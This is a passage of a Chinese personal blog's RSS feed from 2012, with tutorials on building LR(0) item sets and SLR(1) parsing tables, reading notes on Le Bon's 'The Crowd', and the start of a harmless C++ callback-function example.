&lt;p&gt;　　① 若项目A→α·aβ属于Ik且转换函数GO(Ik,a)= Ij，当a为终结符时则置ACTION[k,a]为Sj。　
　　② 若项目A→α· 属于Ik，则对任何终结符a 和&amp;rsquo;#&amp;lsquo;号置ACTION[k,a]和ACTION[k,#]为&amp;quot;rj&amp;quot;，j为在文法G′中某产生式A→α的序号。
　　③ 若GO(Ik,A)＝Ij，则置GOTO[k,A]为&amp;quot;j&amp;quot;，其中A为非终结符。　
　　④ 若项目S′→S·属于Ik，则置ACTION[k,#]为&amp;quot;acc&amp;quot;，表示接受。
　　⑤ 凡不能用上述方法填入的分析表的元素，均应填上&amp;quot;报错标志&amp;quot;。为了表的清晰我们仅用空白表示错误标志。&lt;/p&gt;
&lt;p&gt;　　上篇文章的例题是这样的：LR（0）项目集规范簇也已经算出来了，共有6个I，从I0-I5，最终构造的LR(0)的分析表共7行，包括标题行，也就是ACTION和GOTO，然后是状态行，状态行和ACTION的交处分割成三列，分别是终结符号，和#终结符。也就是分割多少列取决于终结符的数目，GOTO列是非终结符，分割多少列也取决于非终结符的数目。，然后就是具体的6个状态了，画出表的结构后，如下，先不用管表的内容怎么写。&lt;/p&gt;
&lt;p&gt;　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21422_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/0f0ac59f4cab73039ae7f5aecb327def5665da13.jpg&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　然后对照构造原则来填写表，这时你会发现要一个个从那么多的GO函数和I项目组中找对应的式子实在太难了，看不清楚，这时候，我们用GO函数把LR(0)项目集规范族连成一个识别该文法所产生的活前缀的DFA，有点像流程图了，首先把各个I项目画出来，然后需要把他们的关系表示出来，关系由GO函数确定，比如I5=GO(I2, S)，则在I2和I5之间画一个箭头，由I2指向I5，线上写上S，由括号里的第二个值确定，此题构造的DFA如下图，很简单吧。&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21397_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34; title=&#34;识别活前缀的DFA&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　&lt;span style=&#34;font-family: Verdana, Arial, Helvetica, sans-serif;&#34;&gt;&lt;span style=&#34;font-size: 12px; line-height: normal;&#34;&gt;然后我们正式开始吧。第一条指导规则说到， 若项目A→α·aβ属于Ik且转换函数GO(Ik,a)= Ij，当a为终结符时则置ACTION[k,a]为Sj，我们先考察对于I0，发现S-&amp;gt;·aS属于I0，且GO(I0,a)=I1,所有我们ACTION[0,a]置为S1.同理S-&amp;gt;·bS属于I0，GO(I0,b)=I2，所以ACTION[0,b]置为S2。&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;　　再来看第二条规则，若项目A→α· 属于Ik，则对任何终结符a 和&amp;rsquo;#&amp;lsquo;号置ACTION[k,a]和ACTION[k,#]为&amp;quot;rj&amp;quot;，j为在文法G′中某产生式A→α的序号，也就是说这里的j可不是I项目的标号，而是增广文法&lt;/p&gt;
&lt;p&gt;　　(0)S’→S　
　　(1)S→aS　
　　(2)S→bS
　　(3)S→a&lt;/p&gt;
&lt;p&gt;　　的标号，从0-3啦。我们考察I1，发现S→·aS属于I1，且GO(I1,a)=I1，所以应该置1和a的交的格子为S1，但是此时运用第二条规则会发现S-&amp;gt;a·也属于I1，则又应该置ACTION[1,a]为=r3，ACTION[1,#]为r3，这样就发生了冲突。这是因为大多数文法不能满足LR(0)文法的条件，对于此冲突，我们不能确定看到S-&amp;gt;a的时候是规约还是移进，有些文法是可以直接构造的，为此，此处不能够早LR(0)分析表了，我们构造经过改进后得到了一种新的SLR(1)文法，并没有什么太大差别，主要就是解决冲突。&lt;/p&gt;
&lt;p&gt;　　解决冲突的指导原则如下：&lt;/p&gt;
&lt;p&gt;　* 假设一个LR（0）项目集规范族中有如下项目集合：&lt;/p&gt;
&lt;p&gt;　　{X → α.bβ，A → γ.，B → δ.}&lt;/p&gt;
&lt;p&gt;　　即存在移进-归约冲突和归约-归约冲突&lt;/p&gt;
&lt;p&gt;　　* 如果FOLLOW（A）∩ FOLLOW（B）∩ {b} =ф，则可以如下来解决冲突（假设当前符号是 a ）：　
　　1、若 a = b，则移进
　　2、若 a∈ FOLLOW（A），则用产生式 A → γ归约　
　　3、若 a∈ FOLLOW（B），则用产生式 B → δ归约　
　　4、否则，报错&lt;/p&gt;
&lt;p&gt;　　此处的冲突发生时，当前符号是a，并且此时项目集中无B推导式，且指导规则中的b在此处其实是S-&amp;gt;.aS中的a，所以计算Follow(S)∩ {a} ，发现为空，所以可以解决冲突，因为此时，当前符号是a，此处规则中的b也是a，所以，移进，也就是置ACTION[1,a]为=S1，运用分析表的ACTION表和GOTO表构造步骤的第一步，而不是置为r3，所以冲突解决。&lt;/p&gt;
&lt;p&gt;　　然后再看构造步骤中的第三步，若GO(Ik,A)＝Ij，则置GOTO[k,A]为&amp;quot;j&amp;quot;，其中A为非终结符。此题中，只有S为非终结符，看DFA中的I0，发现GO(I0,S)＝I3，所以置GOTO[0,S]为3，ok&lt;/p&gt;
&lt;p&gt;　　第四个步骤，若项目S′→S·属于Ik，则置ACTION[k,#]为&amp;quot;acc&amp;quot;，很简单，DFA中，I3符合，所以置ACTION[3,#]为&amp;quot;acc&amp;quot;。到此解释完了&lt;/p&gt;
&lt;p&gt;　　反复运用，直到填完表。&lt;/p&gt;
&lt;p&gt;　　完成后的表如图一所示。太复杂了。脑子烧糊了都，下篇有机会的话介绍如何使用来进行分析。其实剩下的部分不怎么难了。应该可以看得懂了&lt;/p&gt;
&lt;p&gt;　　参考：&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://metc.gdut.edu.cn/compile/nandian/n-7.htm&#34;&gt;http://metc.gdut.edu.cn/compile/nandian/n-7.htm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://jpkc.hdu.edu.cn/computer/byyl/online/4-3.htm&#34;&gt;http://jpkc.hdu.edu.cn/computer/byyl/online/4-3.htm&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>LR(0)项目集规范族的构造</title>
      <link>http://blog.leaver.me/2012/05/12/lr0%E9%A1%B9%E7%9B%AE%E9%9B%86%E8%A7%84%E8%8C%83%E6%97%8F%E7%9A%84%E6%9E%84%E9%80%A0/</link>
      <pubDate>Sat, 12 May 2012 10:38:38 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/12/lr0%E9%A1%B9%E7%9B%AE%E9%9B%86%E8%A7%84%E8%8C%83%E6%97%8F%E7%9A%84%E6%9E%84%E9%80%A0/</guid>
      <description>&lt;p&gt;　　此文略长。我也没想到这写起来这么多，但对构造过程绝对清楚，一步步慢慢看吧。&lt;/p&gt;
&lt;p&gt;　　LR的第一个L和LL的第一个L含义相同，即从左到右扫描句子 ，第二个R表示Right most最右推导。&lt;/p&gt;
&lt;p&gt;　　在通常的描述中，后面还有一个括号里面的数字如，LR(0)、LR(1)这样，括号里面的数字表示用于决策所需的后续token分词数。&lt;/p&gt;
&lt;p&gt;　　首先看一下LR分析器的模型图&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/21392_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34; title=&#34;LR模型&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　可惜看出，LR分析器最关键的部分就是 LR分析表了，而LR分析表的构建是由已构造出的LR(0)项目集规范族来进行构造的。LR分析法貌似是不要求掌握的，而且这部分比我想象的还要复杂，今天看了好多。才勉强搞清楚这个项目集规范族的构造，但是用来锻炼思维确实不错啊。&lt;/p&gt;
&lt;p&gt;　　项目集，那么字面上看就是项目的集合了，项目是什么呢。这个也确实不好说，书上是说在文法G中每个产生式的右部适当位置添加一个圆点构成LR(0)项目，举个例子吧。&lt;/p&gt;
&lt;p&gt;　　比如对于&lt;/p&gt;
&lt;p&gt;　　A-&amp;gt;xyz&lt;/p&gt;
&lt;p&gt;　　这条产生式可以构造的LR(0)项目就有4个&lt;/p&gt;
&lt;p&gt;　　A-&amp;gt;.xyz    A-&amp;gt;x.yz    A-&amp;gt;xy.z     A-&amp;gt;xyz.&lt;/p&gt;
&lt;p&gt;　　这样很清楚了吧，就是用.分割。这个分割产生的四个项目在进行真正的语法分析的时候对应不同的操作，比如规约还是移位。这里不讨论。重点是项目集规范族的构造，&lt;/p&gt;
&lt;p&gt;　　在知道了LR(0)项目后，可以来看看项目集规范族的定义，&lt;/p&gt;
&lt;p&gt;　　对于构成识别一个文法活前缀的DFA项目集(状态)的全体我们称之为这个文法的LR(0)项目集规范族。至于什么是活前缀呢，定义如下&lt;/p&gt;
&lt;p&gt;　　对于任一文法G[S]，若S’经过任意次推导得到αAω，继续经过一次推导得到![]}/images/6b23dd171a1f672514a2dbb29175df032a1f63d4.gif)αβω，若γ&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34;&gt;是αβ的前缀，则称γ是G的一个活前缀。&lt;/p&gt;
&lt;p&gt;　　现在知道了LR(0)项目，了解了活前缀，和项目集规范族的定义，还须引入LR(0)项目集的闭包函数CLOSURE和状态转换函数GO两个概念，先给出数学上的定义，如果你觉得麻烦可以跳过，后面会给出一道例题。&lt;/p&gt;
&lt;p&gt;　　① 闭包函数CLOSURE(I)的定义如下：&lt;/p&gt;
&lt;p&gt;　　a）I的项目均在CLOSURE(I)中。&lt;/p&gt;
&lt;p&gt;　　b）若A→α·Bβ属于CLOSURE(I)，则每一形如B→·γ的项目也属于CLOSURE(I)。&lt;/p&gt;
&lt;p&gt;　　c）重复b)直到不出现新的项目为止。即CLOSURE(I)不再扩大。&lt;/p&gt;
&lt;p&gt;　　② 转换函数GO(I，X)的定义：&lt;/p&gt;
&lt;p&gt;　　GO(I，X)＝CLOSURE(J)&lt;/p&gt;
&lt;p&gt;　　其中：I为包含某一项目的状态，就是前面我们说的那四个了。，X为一文法符号，X∈(VN∪VT)，J＝{任何形如A→αX·β的项目| A→α·Xβ属于I}。&lt;/p&gt;
&lt;p&gt;　　这样就可以使用闭包函数和转换函数构造文法G′的LR(0)项目集规范族，其步骤如下：&lt;/p&gt;
&lt;p&gt;　　  a）置项目S′→·S为初态集的核，然后对核求闭包，CLOSURE({S′→·S}）得到初态的项目集。
　　  b）对初态集或其它所构造的项目集应用转换函数GO(I，X)=CLOSURE(J)，求出新状态J的项目集。
　　  c）重复b）直到不出现新的项目为止。&lt;/p&gt;
&lt;p&gt;　　开始拿个例题来说明，定义没例题看起来看难了。&lt;/p&gt;
&lt;p&gt;　　&lt;strong&gt;&lt;em&gt;例题：对于下列文法，S→aS|bS|a，构造该文法的LR(0)项目集规范族&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;　　思路就是利用闭包函数CLOSURE和转换函数GO来构造。通过计算函数CLOSURE和GO得到文法的LR(0)项目集规范族，而GO函数则把LR(0)项目集规范族连成一个识别该文法所产生的活前缀的DFA。DFA大家都知道，有穷自动机。&lt;/p&gt;
&lt;p&gt;　　(1)将文法G(S)拓广为G(S’)也就是该文法的增广文法，目的是使语法分析器知道何时应该停止并接受该串，也就是说当使用S&amp;rsquo;-&amp;gt;S进行规约的时候，就结束。&lt;/p&gt;
&lt;p&gt;　　(0)S’→S
　　(1)S→aS　　
　　(2)S→bS　　
　　(3)S→a&lt;/p&gt;
&lt;p&gt;　　构造该文法的LR(0)项目集规范族，I就是产生式，至于I0 I1就是往下递增就可以了。没什么特别的意思。：&lt;/p&gt;
&lt;p&gt;　　I0=CLOSURE({S&amp;rsquo; →•S})={S’ →•S, S→•aS, S→•bS, S→•a}&lt;/p&gt;
&lt;p&gt;　　//第一条是固定的，都是求S&amp;rsquo; →•S的闭包。而因为右侧的S又可以推导出后面三个，所以后面三个式子是属于该闭包的。在闭包的规则中可以看出，若A→α·Bβ属于CLOSURE(I)，此时S&amp;rsquo; →•S属于闭包，S相当于规则中的B,则每一形如B→·γ的项目也属于CLOSURE(I),此处相当于S-&amp;gt;后面的三个推导式。加上.就可以了&lt;/p&gt;
&lt;p&gt;　　I1=GO( I0 , a)=CLOSURE({S→a•S , S→a•})={S→a•S , S→a• , S→•aS, S→•bS, S→•a }&lt;/p&gt;
&lt;p&gt;　　//第二条你可能已经看出来了，其实就是把转换函数GO反过来用，在GO函数中，X为一文法符号，J＝{任何形如A→αX·β的项目| A→α·Xβ属于I}。也就是在I0中，找到右侧包含a的项目，然后将.右移一位来求他们的闭包函数，此处，I0中包含.a的项目为 S→•aS和 S→•a，.右移一位变成S→a•S , S→a•，求闭包函数的规则和上面那条是一样的，继续找推导式右边可以推导出来的式子就可以了，此处，右边同样是S可以推导出三个式子，前面加上.就可以了。&lt;/p&gt;
&lt;p&gt;　　I2=GO(I0 , b)=CLOSURE({S→b•S })={ S→b•S, S→•aS, S→•bS, S→•a }&lt;/p&gt;
&lt;p&gt;　　//第三条仿照第二条进行推导，先在I0中找有.b的，然后右移一位，然后推导式右侧的S继续用题目给出的推导，然后前面加上.&lt;/p&gt;
&lt;p&gt;　　I3=GO(I0 , S)=CLOSURE({S’ →S•})={ S’ →S•}&lt;/p&gt;
&lt;p&gt;　　//第四条因为右侧包含.S的只有一项。必须是.S。所以只有一个，右移后求闭包即可。因为S是右侧的第一位，所以不用再向下推导了，规则是：A→α·Bβ属于CLOSURE(I)，此处是S’ →S•，则B→·γ的项目也属于CLOSURE(I)，此处S相当于规则中的α，无B。。。。&lt;/p&gt;
&lt;p&gt;　　因为GO(I1, a)=CLOSURE({S→a•S , S→a•})=I1，&lt;/p&gt;
&lt;p&gt;　　//第五条同理，在I1中找有右侧有.a的项目，右移一位。进行求闭包，发现和I1求闭包的变量是一样的。所以结果必然也和I1是一样的。&lt;/p&gt;
&lt;p&gt;　　GO(I1, b)=CLOSURE(S→b•S)=I2.&lt;/p&gt;
&lt;p&gt;　　//第六条没有新的I产生。&lt;/p&gt;
&lt;p&gt;　　I4=GO(I1, S)=CLOSURE({S→aS•})={S→aS•}&lt;/p&gt;
&lt;p&gt;　　//这第七条在I1找右侧包含.S的项目，只有S→a•S，右移后求闭包，同第四条，无B，所以直接如此。&lt;/p&gt;
&lt;p&gt;　　GO(I2, a)= CLOSURE({S→a•S , S→a•})=I1&lt;/p&gt;
&lt;p&gt;　　GO(I2, b)=CLOSURE({S→b•S})=I2&lt;/p&gt;
&lt;p&gt;　　I5=GO(I2, S)=CLOSURE({S→bS•})={S→bS•}&lt;/p&gt;
&lt;p&gt;　　此时应该继续求GO(I3, a)，GO(I3, b)和，GO(I3, S)，但显然I3中没有.a,没有.b也没有.S，所以不用多此一举了，&lt;/p&gt;
&lt;p&gt;　　继续求GO(I4, a)，GO(I4, b)和，GO(I4, S)，显然同上，也没有。所以也不用求了，&lt;/p&gt;
&lt;p&gt;　　继续求GO(I5, a)，GO(I5, b)和，GO(I5, S),理由同上，没有任何必要了&lt;/p&gt;
&lt;p&gt;　　最终，项目集I0，I1，I2，I3，I4和I5构成了该文法的LR(0)项目集规范族。&lt;/p&gt;
&lt;p&gt;　　编译原理真是博大精深啊。就一个简单的三个推导式就得这么多步骤才构造了一个规范族，还要利用规范族来构造LR分析表，这。。手工果断不是事啊。今天看了几个小时才完全弄清楚LR(0)项目集规范族的构造。例题的步骤是我自己写的。这篇文章写了2个小时。。太费脑子了。。慢慢再写产生活前缀的DFA和LR分析表吧。&lt;/p&gt;
&lt;p&gt;　　参考：&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://metc.gdut.edu.cn/compile/nandian/n-7.htm&#34;&gt;http://metc.gdut.edu.cn/compile/nandian/n-7.htm&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>《乌合之众》笔记下部</title>
      <link>http://blog.leaver.me/2012/05/11/%E4%B9%8C%E5%90%88%E4%B9%8B%E4%BC%97%E7%AC%94%E8%AE%B0%E4%B8%8B%E9%83%A8/</link>
      <pubDate>Fri, 11 May 2012 09:20:58 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/11/%E4%B9%8C%E5%90%88%E4%B9%8B%E4%BC%97%E7%AC%94%E8%AE%B0%E4%B8%8B%E9%83%A8/</guid>
      <description>&lt;p&gt;　　看完了下部，本书绝对是群体心理学的经典。没有废话，180多页的小册子讲的非常非常好。
　　执政府和帝国的具体工作就是用新的名称把过去大多数的制度重新包装一遍，用新名词代替那些能够让群众想起不利形象的名称。因为新鲜能够防止这种联想。&lt;/p&gt;
&lt;p&gt;　　统治者的艺术，就像律师的艺术，首先在于驾驭辞藻的学问。&lt;/p&gt;
&lt;p&gt;　　推动各民族演化的主要因素，永远不是真理，而是谬误。&lt;/p&gt;
&lt;p&gt;　　社会主义的谬误，群众从来不渴求真理，他们需要对他们有诱惑力的谬误，凡是能供应幻觉的，都是他们的主人，使他们幻灭的。都将成为牺牲品。&lt;/p&gt;
&lt;p&gt;　　尽管存在着理性，文明的动力仍然是各种感情&amp;ndash;譬如尊严，自我牺牲，宗教信仰，爱国主义以及对荣誉的爱&lt;/p&gt;
&lt;p&gt;　　只要有一些生物聚集在一起，不管是人还是动物，都会本能的让自己处在一个头领的统治之下。&lt;/p&gt;
&lt;p&gt;　　头脑敏锐，深谋远虑的人往往不能成为群体领袖，因为他们这种品质会让人犹疑不决，而那些有毛病的，兴奋的人则可能。&lt;/p&gt;
&lt;p&gt;　　在群体的灵魂中，占上风的，不是对自由的追求，而是当奴才的欲望。&lt;/p&gt;
&lt;p&gt;　　领袖的动员手段：断言，重复和感染。&lt;/p&gt;
&lt;p&gt;　　传染的威力很大，不但能迫使个人接受某些意见，而且能让他接受一些感情模式。&lt;/p&gt;
&lt;p&gt;　　名望是某个人，某本著作，或是某种观念对我们头脑的支配力。会麻痹我们的批判能力。让我们充满惊奇和敬畏。名望的特点就是阻止我们看到事物的本来面目。&lt;/p&gt;
&lt;p&gt;　　用一时的意见影响群众的头脑不难，想让一种信念在其中长久扎根却极为不易。&lt;/p&gt;
&lt;p&gt;　　一种信念开始衰亡的确切时刻很容易辨认-他的价值开始受到质疑。不过即使已经摇摇欲坠，根据他建立的制度依然会保持其力量，消失的十分缓慢&lt;/p&gt;
&lt;p&gt;　　需要一种普遍信念来支持一个国家。实干家一心要让这种普遍接受的信仰变成现实，立法者一心想把他付诸实行，哲学家，艺术家和文人全都醉心于如何以各种不同的方式表现他。&lt;/p&gt;
&lt;p&gt;　　今天的社会主义信念虽然有明显的破绽，但并没有阻止他赢得群众。他的力量的增长只能到他获得胜利，掌权的那一天为止。&lt;/p&gt;
&lt;p&gt;　　报纸媒体不断把对联意见带给人们，由于受到对立意见的暗示作用的破坏，结果任何意见都难以普及，他们全都成了过眼烟云。一种意见还没来得及被足够多的人接受。就已经寿终正寝。&lt;/p&gt;
&lt;p&gt;　　报业既然成了仅仅提供信息的部门，也就放弃了让人接受某种观念或学说的努力。&lt;/p&gt;
&lt;p&gt;　　如果有什么事情能够推迟一种文明的毁灭的话，那就是极不稳定的群众意见，以及他们对一切普遍信仰的麻木不仁。&lt;/p&gt;
&lt;p&gt;　　两类群体：异质性，街头，议会。同质性，派别，身份&lt;/p&gt;
&lt;p&gt;　　杰出律师的主要用心在于，打动陪审团的感情，不需要太多论证，留心他们，得出自己的结论，确定那些人赞同，转向不赞同的人。&lt;/p&gt;
&lt;p&gt;　　选民群体属于异质性群体，他们极少推理，没有批判精神，轻信，易怒而且头脑简单。&lt;/p&gt;
&lt;p&gt;　　选民的心理和其他群体一样：既不更好，也不更差。&lt;/p&gt;
&lt;p&gt;　　文明是少数智力超常的人的产物，他们构成了金字塔的顶点，随着金字塔各个层次加宽，智力越来越少，如果一个伟大的文明仅仅以人多势众自夸的低劣成员的选票。是无法让人放心的。&lt;/p&gt;
&lt;p&gt;　　领袖的影响力只在很小的程度上是因为他们提出的论据，而在很大程度上来自他们的名望，一旦他们不知道什么原因威信扫地，他们的影响力也将随之消失。&lt;/p&gt;
&lt;p&gt;　　在政治集会中，才华横溢者无任何作用。伟大的民众领袖头脑的狭隘令人瞠目&lt;/p&gt;
&lt;p&gt;　　演讲者演说的成功与否很大程度上也取决于自己的名望。&lt;/p&gt;
&lt;p&gt;　　由法律专家制定的法律是最好的法律，因为他是个人的产物，只有当一系列修正案把他们变成集体努力的产物的时候，才可能产生灾难性的后果。&lt;/p&gt;
&lt;p&gt;　　表面自由的增加，必然伴随着真正自由的减少。&lt;/p&gt;
&lt;p&gt;　　各国被一种谬见所蒙蔽，就是认为保障自由与平等的最好办法就是制定法律，结果使人变成奴才。&lt;/p&gt;
&lt;p&gt;　　人们似乎热爱自由，其实只是痛恨主子 -托克维尔。&lt;/p&gt;</description>
    </item>
    <item>
      <title>《乌合之众》笔记上部</title>
      <link>http://blog.leaver.me/2012/05/10/%E4%B9%8C%E5%90%88%E4%B9%8B%E4%BC%97%E7%AC%94%E8%AE%B0%E4%B8%8A%E9%83%A8/</link>
      <pubDate>Thu, 10 May 2012 20:50:18 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/10/%E4%B9%8C%E5%90%88%E4%B9%8B%E4%BC%97%E7%AC%94%E8%AE%B0%E4%B8%8A%E9%83%A8/</guid>
      <description>&lt;p&gt;　　今天本来是打算写篇关于LR型语法分析的总结的。结果因为各种原因错过了。可能我还是有轻微的拖延症吧。但是还是非常给力的。今天在读这本书-&lt;a href=&#34;http://book.douban.com/subject/1012611/&#34;&gt;乌合之众-大众心理研究&lt;/a&gt;，本来就想着也就不到200页的书，几个小时就看完了，结果真正看了以后，一阵惊叹啊。信息量很大，现在才看到84页。不过笔记已经写了2000字了。为了避免文章太长。先分享这两千字。明天看完了后半部分，再分享。&lt;/p&gt;
&lt;p&gt;　　群体的无意识行为代替了个人的有意识行为，是目前这个时代的主要特征之一。&lt;/p&gt;
&lt;p&gt;　　社会组织就像一切生命有机体一样复杂，我们还不具备强迫他们在突然之间发生深刻变革的智力。&lt;/p&gt;
&lt;p&gt;　　对于一个民族有致命危险的，莫过于他热衷于重大的变革。无论这些变革从理论上来说多么的出色。如果它能够使民族气质即刻产生变化，才能说他是有用的，只有时间才具备这样的力量，&lt;/p&gt;
&lt;p&gt;　　如果有关某种形态的知识只有少数有学问的人才能掌握，那他也没有多少意义了。&lt;/p&gt;
&lt;p&gt;　　造成文明洗心革面的唯一重要的变化，是影响到思想，观念和信仰的变化，令人难忘的历史事件，不过是人类思想不露痕迹的变化所造成的可见后果而已。&lt;/p&gt;
&lt;p&gt;　　群体的力量会成为唯一无可匹敌的力量，我们要进入的时代，就是一个群体的时代。&lt;/p&gt;
&lt;p&gt;　　群体不善推理，却急于采取行动，他们目前的组织赋予他们巨大的力量。&lt;/p&gt;
&lt;p&gt;　　科学为我们许诺的是真理，从未许诺过和平或幸福，他对我们的感情无动于衷，对我们的哀怨不闻不问。&lt;/p&gt;
&lt;p&gt;　　历史告诉我们，当文明赖以建立的道德因素失去威力时，他的最终解体总是有无意识的野蛮群体完成的，&lt;/p&gt;
&lt;p&gt;　　创造和领导着文明的，历来就是少数知识贵族而不是群体，群体只具有强大的破坏力。&lt;/p&gt;
&lt;p&gt;　　不管情况如何，我们注定要屈从于群体的势力，这是因为群体的目光短浅，使得有可能让他守规矩的所有障碍已经被一一清除。&lt;/p&gt;
&lt;p&gt;　　一个心理群体表现出来的最惊人的特点是：不论他们是谁，他们变成了一个群体这个事实，使他们获得了一种集体信息，这是他们的感情，思想和行为变得与他们独自一人时颇为不同，&lt;/p&gt;
&lt;p&gt;　　群体一般只有很普通的品质，他削弱了个人的优秀品质，这一事实解释了为何他不能完成需要高智力的工作，群体中累加在一起的只有愚蠢而不是天生的智慧。&lt;/p&gt;
&lt;p&gt;　　从数量上来看，群体的个人会感觉到一种势不可挡的力量，使他敢于发泄出自己本能的欲望。而独自一人时，则必须克制欲望，因为他觉得：群体是个无名氏，不许承担责任。&lt;/p&gt;
&lt;p&gt;　　还有就是群体的传染性，每种感情和行动都有传染性，其程度足以使个人随时准备为群体利益牺牲他的个人利益。这与人的天性相对立，如果不是群体的一员，很少具备这样的能力&lt;/p&gt;
&lt;p&gt;　　长时间融入群体行动的个人，不就会发现，或许是因为在群体发挥催眠影响的作用下，自己进入一种特殊状态，类似于被催眠，变成了受人支配的无意识的努力，有意识的人格消失的无影无踪，意识和辨别力也不复存在。&lt;/p&gt;
&lt;p&gt;　　1989年8月4日，的晚上，法国的贵族一时激情澎湃，毅然投票放弃了自己跌特权。所以说，群体有时候也是英雄群体。&lt;/p&gt;
&lt;p&gt;　　群体容易被暗示，会随时听命于一切暗示。失去了批判能力。&lt;/p&gt;
&lt;p&gt;　　不要相信童言无忌，儿童一直就在撒谎。&lt;/p&gt;
&lt;p&gt;　　群体情绪的简单和夸张所造成的结果是，他全然不知怀疑和不确定性为何物，他就像女人一样，一下子就会陷入极端，怀疑一说出口，立刻就会变成不容辩驳的证据。&lt;/p&gt;
&lt;p&gt;　　群体只知道简单而极端的感情;提供给他们的各种意见，想法和信念，他们或者全盘接受，或者一概拒绝，将其视为绝对真理或绝对谬论。&lt;/p&gt;
&lt;p&gt;　　群体中只要有人在他们之间山东，他们随时都会付诸行动，群体对强权俯首帖耳，却很少为仁慈心肠所动，他们认为那不过是软弱可欺的另一种形式。他们的同情心从而不听命于作风温和的主子，而是只向眼里欺压他们的暴君低头。他们总是为这种人塑其最壮观的雕像。&lt;/p&gt;
&lt;p&gt;　　群体强烈的守着无意识因素的支配，因此很容易屈从于世俗的等级制，难免会十分保守，对他们撒手不管，很快他们就会对混乱感到厌倦，本能的变成奴才。&lt;/p&gt;
&lt;p&gt;　　观念只有采取简单明了的形式，才能被群体所接受，因此它必须经过一番彻底的改造，才能变得通俗易懂。&lt;/p&gt;
&lt;p&gt;　　就观念来说，群体总是落后于博学之士和哲学家好几代人。&lt;/p&gt;
&lt;p&gt;　　群体形象化的想象力不但强大而活跃，并且非常敏感。历史上，表相总比真相起着更重要的作用，不现实的因素总比现实的因素更加重要。&lt;/p&gt;
&lt;p&gt;　　不管刺激群体想象力的是什么，采取的形式都应该具有鲜明形象。没有任何多余的解释。比如死亡人数。&lt;/p&gt;
&lt;p&gt;　　如果一个民族使自己的习俗变得过于牢固，他便不会再发生变化，于是就像中国一样，变得没有改进能力。在这种情况下，暴力革命也没有多少用处，因此由此造成的结果，或者是打碎的锁链被重新拼接在一起，让整个过去原封不动的再现，或者是对被打碎的事务撒手不管，衰败很快被无政府状态所取代。因此对于一个民族来说，理想的状态是保留过去的制度，用一种不易察觉的方式一点点的加以改进。&lt;/p&gt;
&lt;p&gt;　　群体具有保守主义精神，即使被狂暴的反叛最终也只会造成一些嘴皮子上的变化。&lt;/p&gt;
&lt;p&gt;　　各民族是受着自己的性格支配的，凡是与这种性格不合的模式，都不过是借来的外套，一种暂时的伪装。&lt;/p&gt;
&lt;p&gt;　　教育既不会使人变得更加道德，也不会使人更幸福，他既不能改变他的本能，也不能改变他的热情。。。害处远大于好处。&lt;/p&gt;
&lt;p&gt;　　掌握一些派不上用场的知识，是让人造反的不二法门&lt;/p&gt;
&lt;p&gt;　　生活中取得成功的条件是判断力，经验，开拓精神，和个性。非课本能带来。&lt;/p&gt;
&lt;p&gt;　　大学毕业，一个充分发展的人诞生，但筋疲力尽，成家立业，落入生活的俗套，只要落入这种俗套，他就会把自己封闭在狭隘的职业中，工作还算本分，但仅此而已，这就是平庸的生活。&lt;/p&gt;
&lt;p&gt;　　因为各种词语和套话的力量而死去的人，只要用他们的尸骨，就能建造一座比古老的齐奥普斯更高的金字塔。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C&#43;&#43;回调函数</title>
      <link>http://blog.leaver.me/2012/05/09/c-%E5%9B%9E%E8%B0%83%E5%87%BD%E6%95%B0/</link>
      <pubDate>Wed, 09 May 2012 21:04:37 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/05/09/c-%E5%9B%9E%E8%B0%83%E5%87%BD%E6%95%B0/</guid>
      <description>&lt;p&gt;　　回调函数就是一个通过函数指针调用的函数。如果你把函数的指针(地址)作为参数传递给另一个函数，当这个指针被用为调用它所指向的函数时，我们就说这是回调函数。&lt;/p&gt;
&lt;p&gt;　　也就是说，回调函数它首先是一个函数，然后有一个指针指向它（该指针称为函数指针），在别的代码块中，通过这个函数指针调用了这个函数，仅此而已。&lt;/p&gt;
&lt;p&gt;　　下面给出一个例子，我写出了比较详细的注释。希望足够清晰。这个例子说明了，回调函数可以把调用者和被调用者分开，对于调用者来说，只需要知道自己要调用一个函数，该函数有一个string类型的参数，至于具体调用哪个，被调用的函数到底怎么执行，怎么解释该参数，是完全不用关心的。&lt;/p&gt;
&lt;pre lang=&#34;c&#34;&gt;
#include &lt;iostream&gt;  
#include &lt;string&gt;  
using namespace std;  

typedef void (*PF)(string s);  //定义一个名为PF的函数指针，该指针指向一类函数，该类函数有一个string类型的参数，返回值为void。  

void funcOne(string s)  //回调函数1  
{  
    cout &lt;&lt; s+&#34; One&#34;&lt;&lt; endl;  
}  

void funcTwo(string s)  //回调函数2 
{  
    cout &lt;&lt; s+&#34; Two&#34;&lt;&lt; endl;  
}  

void caller( PF pf, string s) //调用函数  
{  
    cout &lt;&lt; &#34;I am Caller Function&#34; &lt;&lt; endl;  
    pf(s);  
}  

int main()  
{  
    string str = &#34;Test CallBack Function&#34;;  
    PF pf1 = funcOne;  //实例化一个函数指针，指向func函数      
    caller(pf1, str);  
    pf1=funcTwo; 
    caller(pf1, str);  
    system(&#34;pause&#34;);  
    return 0;  
}  

